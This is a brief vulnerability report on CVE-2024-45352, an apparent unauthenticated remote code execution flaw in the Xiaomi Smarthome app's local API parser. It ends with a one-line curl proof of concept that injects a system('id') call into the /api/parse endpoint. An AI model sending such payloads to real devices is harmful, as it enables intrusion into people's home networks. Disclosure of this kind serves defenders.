
Technical report about a critical vulnerability in Xiaomi (CVE-2024-45352)
A critical vulnerability (CVE-2024-45352) was discovered in the Xiaomi Smarthome application, allowing unauthenticated remote code execution (RCE) via improper input handling in the internal API parser. This vulnerability can be exploited by an attacker on the local network to execute arbitrary commands on the affected system.
The following PoC demonstrates the RCE via a maliciously crafted request to the Xiaomi Smarthome local API:
curl -X POST http://<target_ip>:<port>/api/parse --data '{"script":"system('id')"}'